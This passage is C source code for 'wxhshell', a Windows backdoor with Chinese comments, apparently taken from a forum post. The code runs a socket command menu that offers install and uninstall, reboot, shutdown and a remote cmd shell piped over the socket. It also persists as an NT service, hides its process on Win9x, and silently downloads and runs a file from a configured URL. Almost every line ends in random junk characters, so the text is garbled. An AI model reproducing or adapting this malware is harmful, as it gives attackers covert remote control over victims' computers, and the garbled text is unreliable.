  // 帮助 ]TTX<R ZLr  
  case '?': { 0,)Ao8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $`q8-+{  
    break; \Y'#}J"dh  
  } e|wH5(V  
  // 安装 z4l O  
  case 'i': { T';<;6J**  
    if(Install()) c*nH=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cv fh:~L  
    else .E !p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q|PB[*T  
    break; ]:* 8 Mb#  
    } n^QOGT.s6`  
  // 卸载 bDdJh}Vz  
  case 'r': { @\gTi;u/x  
    if(Uninstall()) /EY ^ui  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XOl]s?6H$  
    else s>sIji  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z1\G,mJK  
    break; Mwdh]I,#  
    } muLt/.EZ  
  // 显示 wxhshell 所在路径 i4T U}.h8  
  case 'p': { \'( @{  
    char svExeFile[MAX_PATH]; $@_7HE3  
    strcpy(svExeFile,"\n\r"); 4}{S8fGk%  
      strcat(svExeFile,ExeFile); MFHPh8P  
        send(wsh,svExeFile,strlen(svExeFile),0); b`Wn98s  
    break; z-G|EAON"/  
    }  & y1' J  
  // 重启 jE)&`yZ5  
  case 'b': { HgG-r&r!2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &fBLPF%6  
    if(Boot(REBOOT)) <}pwFl8C)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % '>S9Ja3  
    else { !O$*/7  
    closesocket(wsh); a!"81*&4#  
    ExitThread(0); 66\0JsT?3  
    } ld1t1'I'  
    break; DQg:W |A  
    } 7e&R6j  
  // 关机 Oq{&hH/'}  
  case 'd': { *[*E|by  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p},6W,f  
    if(Boot(SHUTDOWN)) iKB8V<[\T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q, 0kv  
    else { 7 q<UJIf  
    closesocket(wsh); )>LQ{ X.  
    ExitThread(0); t1HUp dHY  
    } `n8) o%E9  
    break; 8$avPD3jx  
    } <i'4EnO  
  // 获取shell bAeN>~WvY  
  case 's': { *(ex:1sW  
    CmdShell(wsh); qE6:`f  
    closesocket(wsh); ie$QKoE  
    ExitThread(0); :W5*fE(i  
    break; kr7f<;rmJ  
  } = PldXw0  
  // 退出 5YIi O7@4  
  case 'x': { ogv86d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J'.:l}g!1  
    CloseIt(wsh); e,Xvt5  
    break; uR"srn;^  
    } puS'9Lpp  
  // 离开 7Z>u|L($m  
  case 'q': { GCrh4rxgg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |0(Z)s,  
    closesocket(wsh); L>{E8qv>w  
    WSACleanup(); [!{*)4$6  
    exit(1); 64}Oa+*s  
    break; DLE|ctzj[7  
        } Kp"mV=RG2T  
  } !@-j!Ub  
  } oaI7j=Gp  
7\^b+*  
  // 提示信息 N s9cx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !U#kUj:4I  
} `"[VkQFB/  
  } } oJ+2OepN  
wP1dPl_j:0  
  return; ~fsAPIQ  
} MxxYMR  
r&"}zyL  
// shell模块句柄 .hgc1  
int CmdShell(SOCKET sock) wd*i~A3+?  
{ ZeK*MPxQ  
STARTUPINFO si; EF0{o_  
ZeroMemory(&si,sizeof(si)); ) 0$7{3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4UoUuKzt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pRXA!QfO  
PROCESS_INFORMATION ProcessInfo; W<;i~W  
char cmdline[]="cmd"; ltt%X].[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >82Q!HaH  
  return 0; E?&dZR  
} %Ua*}C   
D`e!CprF  
// 自身启动模式 >8SX,  
int StartFromService(void) Z!6\KV]  
{ 8x'rNb  
typedef struct iAf, :g  
{ <(d ^2-0  
  DWORD ExitStatus; MLmc]nL=  
  DWORD PebBaseAddress; }*$-rieg  
  DWORD AffinityMask; ".v9#|  
  DWORD BasePriority; >U"f1q*$  
  ULONG UniqueProcessId; .x6*9z#q  
  ULONG InheritedFromUniqueProcessId; +n9&q#ah  
}   PROCESS_BASIC_INFORMATION; ^/R@bp#<  
-'{ioHt&X/  
PROCNTQSIP NtQueryInformationProcess; jD_(im5  
KK]AX;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7* ^\mycv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sx8mba(  
n_v c}ame  
  HANDLE             hProcess; '. atbl  
  PROCESS_BASIC_INFORMATION pbi; WKBPqfC  
9R>A,x(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /j -LW1:N  
  if(NULL == hInst ) return 0; i1vBg}WHN  
o&*1Mx<+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N&S :=x:$S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3w {4G<I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Qw?.#[9  
=DE5 Wq19  
  if (!NtQueryInformationProcess) return 0; Q( AOKp,F  
 2b1LC!'U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ..<(HH2  
  if(!hProcess) return 0; l/LRr.x  
w[PW-m^`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h'UWf"d  
E(8!VY ^  
  CloseHandle(hProcess); xi;SKv;p  
z^~uq:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S_c#{4n  
if(hProcess==NULL) return 0; - K}@Gp  
+?MjY[8j  
HMODULE hMod; BEPDyy  
char procName[255]; } 5OlX  
unsigned long cbNeeded; Podm 3b  
+qpD>5#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XPUH\I=  
#k)G1Y[c  
  CloseHandle(hProcess); sPkT>q  
Js^ADUy  
if(strstr(procName,"services")) return 1; // 以服务启动 kf>'AbN  
jSVb5P  
  return 0; // 注册表启动 N Ja]UZx  
} `ZV;Le '  
d^]wqnpf  
// 主模块 Ow/ /#:  
int StartWxhshell(LPSTR lpCmdLine) X@x: F|/P  
{ }kL% l  
  SOCKET wsl; q7 Uu 8JXF  
BOOL val=TRUE; 6gakopZO  
  int port=0; 'y-IE#!5  
  struct sockaddr_in door; H W.S~eLw*  
qK|r+}g|&  
  if(wscfg.ws_autoins) Install(); c)@M7UK[  
4CX*  
port=atoi(lpCmdLine); S)g5Tu)  
B HZGQm  
if(port<=0) port=wscfg.ws_port; s}|IRDpp  
o>U%3-+T^J  
  WSADATA data; w^R5/#F_r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s_`wLQ7e  
XZp(Po:H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ( }JX ]-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 22tY%Y9  
  door.sin_family = AF_INET; 6EX:qp^`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cty~dzX^  
  door.sin_port = htons(port); ?H*_:?=6  
z_JZx]*/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8qS)j1.!  
closesocket(wsl); )}G HG#D{  
return 1; !3yR?Xem}  
} &e,xN;  
v%zI~g.L  
  if(listen(wsl,2) == INVALID_SOCKET) { _?q\tyf3  
closesocket(wsl); gvA&F |4  
return 1; Htsa<t F  
} (CZRX9TT1  
  Wxhshell(wsl); Fdc bmQ  
  WSACleanup(); 1`aFL5[0$  
'ARQ7 Q[`  
return 0;  r) X?H  
A*\4C3a'%  
} '^Sa|WXq  
1f[!=p  
// 以NT服务方式启动 vNE91  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iy$]9Wf6=@  
{ P7u5Ykc*  
DWORD   status = 0; <PV @JJ"  
  DWORD   specificError = 0xfffffff; [&FMVM`  
mhlJzGr*q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +hXph  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aN;L5;m#>{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZV;#ZXch  
  serviceStatus.dwWin32ExitCode     = 0; D"A`b{z  
  serviceStatus.dwServiceSpecificExitCode = 0; OkzfQ hC}  
  serviceStatus.dwCheckPoint       = 0; !xe<@$  
  serviceStatus.dwWaitHint       = 0; C=PBF\RkKu  
;2dhue  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7!MW`L/`  
  if (hServiceStatusHandle==0) return; IUu[`\b=  
w:N\]=Vh  
status = GetLastError(); 1Ll@ ocE  
  if (status!=NO_ERROR) GVEjB;  
{ I[[rVts  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x]a>Q),  
    serviceStatus.dwCheckPoint       = 0; \n<N>j@3  
    serviceStatus.dwWaitHint       = 0; gvy%`SSW  
    serviceStatus.dwWin32ExitCode     = status; i$og v2J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5[/ *UtB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y=}b/[s6;  
    return; t}'Oh}CG  
  } [%QJ6  
pOH_ CXw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kk!}mbA_}  
  serviceStatus.dwCheckPoint       = 0; 2^qY, dL  
  serviceStatus.dwWaitHint       = 0; 7~|o_T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q3oVl^q  
} ?'h@!F%R'  
=gfLl1wY[  
// 处理NT服务事件,比如:启动、停止 :1.$7W t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /3+7a\|mKr  
{ $orhY D3gv  
switch(fdwControl) hsfVKlw-  
{ 1RcaE!\p  
case SERVICE_CONTROL_STOP: ?"sk"{  
  serviceStatus.dwWin32ExitCode = 0; rvr Ok  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c>DAR  
  serviceStatus.dwCheckPoint   = 0; PJ #uYM  
  serviceStatus.dwWaitHint     = 0; u.!Pda  
  { Mw+]*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wgx lQXi-B  
  } ~^VcTSY@<L  
  return; bR ;H@Fdg?  
case SERVICE_CONTROL_PAUSE: @ @# G.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8Cm^#S,+  
  break; {W0]0_mI(  
case SERVICE_CONTROL_CONTINUE: Ko -<4wu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yiI&>J))  
  break; qvYw[D#.  
case SERVICE_CONTROL_INTERROGATE: !T @|9PCp  
  break; Z,u:g c+*  
}; M>T#MDK\(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gm>8= =c  
} %W`pTvF  
x%x[5.CT  
// 标准应用程序主函数 `^w5/v#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NO9Jre  
{ ;o8cfD.z  
Xb;CY9&  
// 获取操作系统版本 &OuyjW4  
OsIsNt=GetOsVer(); uMqo)J@s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YQYN.\  
BHFWig*{  
  // 从命令行安装 7i/?+|  
  if(strpbrk(lpCmdLine,"iI")) Install(); V?5_J%  
//6m2a  
  // 下载执行文件 y4envjl 0  
if(wscfg.ws_downexe) { r}vI#;&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C(?lp  
  WinExec(wscfg.ws_filenam,SW_HIDE); `9 $?g|rB  
} K<|eZhp~  
n|^-qy'w  
if(!OsIsNt) { A?6b)B/e?  
// 如果时win9x,隐藏进程并且设置为注册表启动 eUBk^C]\  
HideProc(); 6=  9  
StartWxhshell(lpCmdLine); *(r85lEou)  
} p]pFZ";70  
else m0\(a_0V  
  if(StartFromService()) >:wk.<Z-  
  // 以服务方式启动 9`c :sop  
  StartServiceCtrlDispatcher(DispatchTable); m'429E]\S  
else x28Bz*O  
  // 普通方式启动 ]CHMkuP[k  
  StartWxhshell(lpCmdLine); }25{"R}K  
%oN^1a'&)  
return 0; $'[( DwLS  
}
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只看该作者 1 发表于: 2006-10-10
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